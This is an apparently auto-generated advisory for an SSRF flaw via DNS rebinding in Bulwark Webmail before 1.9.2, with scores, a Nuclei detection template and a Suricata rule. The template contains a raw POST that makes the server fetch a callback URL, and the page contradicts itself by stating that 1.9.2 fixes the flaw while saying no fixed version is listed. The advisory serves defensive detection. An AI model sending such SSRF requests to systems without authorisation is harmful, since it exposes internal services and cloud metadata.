CVE-2026-113728: bulwarkmail webmail advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Bulwark Webmail is a self-hosted webmail client for Stalwart Mail Server. Prior to 1.9.2, the unauthenticated POST /api/fetch-ical endpoint validates a caller-supplied hostname with one DNS lookup and then passes the URL to fetch, which performs a separate lookup for the socket connection. An attacker controlling authoritative DNS can return a public address during validation and then rebind the hostname to a loopback, private, link-local, or cloud metadata address for the connection, causing the server to return up to 10 MB of an internal HTTP or HTTPS response. The same check-then-fetch pattern also existed in authenticated JMAP login and TOTP token-exchange flows. This issue is fixed in version 1.9.2.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-10-20).

Weakness: CWE-918: Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-105773

VEDAS cluster: VEDAS:DOOMCROW

Exploit Observer links 5 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (5)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (2)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-105773
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-113728

2 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.005
low predicted chance of attack
VEDAS: 0.985
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
bulwarkmail webmail	version < 1.9.2	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Bulwark Webmail - Server-Side Request Forgery
Bulwark Webmail before 1.9.2 exposes an unauthenticated POST /api/fetch-ical endpoint that validates a caller-supplied hostname with a single DNS lookup and then fetches the supplied URL, allowing an unauthenticated attacker to coerce the server into issuing requests to attacker-chosen hosts (server-side request forgery) and return up to 10 MB of the response. The fix adds authentication, so a vulnerable instance performs the out-of-band request while a patched instance rejects the unauthenticated call with HTTP 401.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /api/fetch-ical); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-113728.yaml

Show the template (41 lines)

yaml

id: CVE-2026-113728

info:
  name: "Bulwark Webmail - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Bulwark Webmail before 1.9.2 exposes an unauthenticated POST /api/fetch-ical endpoint that
    validates a caller-supplied hostname with a single DNS lookup and then fetches the supplied
    URL, allowing an unauthenticated attacker to coerce the server into issuing requests to
    attacker-chosen hosts (server-side request forgery) and return up to 10 MB of the response.
    The fix adds authentication, so a vulnerable instance performs the out-of-band request while
    a patched instance rejects the unauthenticated call with HTTP 401.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-113728&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=bulwark&match=exact
  classification:
    cve-id: CVE-2026-113728
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,bulwark,ssrf

http:
  - raw:
      - |
        POST /api/fetch-ical HTTP/1.1
        Host: {{Host}}
        Content-Type: application/json

        {"url":"https://{{interactsh-url}}/feed.ics"}
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
      - type: dsl
        dsl:
          - "status_code != 401"

CVE-2026-113728.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-113728 Bulwark Webmail - Server-Side Request Forgery Attempt. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-113728 Bulwark Webmail - Server-Side Request Forgery Attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/fetch-ical"; nocase; fast_pattern; http.request_body; content:"url"; nocase; classtype:web-application-attack; reference:cve,CVE-2026-113728; reference:url,https://www.exploit.observer/?keyword=CVE-2026-113728&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=bulwark&match=exact; sid:1084000; rev:1;)

CVE-2026-113728.rules on GitHub

References

Other references

https://github.com/bulwarkmail/webmail/security/advisories/GHSA-24w9-8r42-8jwm (x_refsource_CONFIRM)
https://github.com/bulwarkmail/webmail/commit/3288589e5248dcc1da769cc578827a9ee1adc941 (x_refsource_MISC)
https://github.com/bulwarkmail/webmail/releases/tag/1.9.2 (x_refsource_MISC)

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.